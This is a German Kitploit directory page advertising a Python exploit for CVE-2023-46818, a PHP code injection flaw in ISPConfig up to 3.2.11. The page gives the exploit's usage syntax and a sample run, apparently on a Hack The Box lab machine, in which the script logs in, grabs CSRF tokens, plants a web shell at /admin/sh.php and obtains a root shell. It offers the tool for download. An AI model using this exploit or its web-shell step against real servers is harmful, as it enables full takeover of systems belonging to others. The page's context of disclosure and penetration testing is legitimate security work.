Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-46818 — CVE-2023-46818 Python3-Exploit für ISPConfig <= 3.2.11 (language_edit.php) PHP-Code-Injection-Schwachstelle | Kitploit
Tools/GitHubGitHub/ajdumanhug/cve-2023-46818
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubajdumanhug/cve-2023-46818

CVE-2023-46818

CVE-2023-46818 Python3-Exploit für ISPConfig <= 3.2.11 (language_edit.php) PHP-Code-Injection-Schwachstelle

Repository anzeigen
152vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-46818 Python-Exploit

🔥 Beschreibung

Dieses Python-Exploit-Skript zielt auf eine Sicherheitslücke im records-POST-Parameter von ISPConfig zu /admin/language_edit.php ab, der nicht ordnungsgemäß bereinigt wird. Dies ermöglicht einem authentifizierten Admin, beliebigen PHP-Code einzuschleusen und auszuführen.

⚠️ Betroffene Versionen

Version 3.2.11 und frühere Versionen.

⚙️ Verwendung

root@kitploit:~
python3 CVE-2023-46818.py <URL> <Username> <Password>

💻 Beispielausführung

root@kitploit:~
┌──(motoh4ck3r㉿kali)-[~/HTB/Linux/nocturnal]
└─$ python3 CVE-2023-46818.py http://127.0.0.1:8081 motoh4ck3r broombroom
[+] Logging in with username 'motoh4ck3r' and password 'broombroom'
[+] Login successful!
[*] Fetching CSRF tokens...
[+] CSRF ID: language_edit_92017c65f0bcba0f230f5cc1
[+] CSRF Key: 7d06eed7d23c29e5c9633920a8122339d91373e8
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8081/admin/sh.php
[+] Launching shell...

ispconfig-shell# hostname & whoami & id
nocturnal
root
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell#

ℹ️ Referenz

https://seclists.org/fulldisclosure/2023/Dec/2

❤️ Danksagungen

Besonderen Dank an Egidio Romano für diese Entdeckung.

Tool herunterladen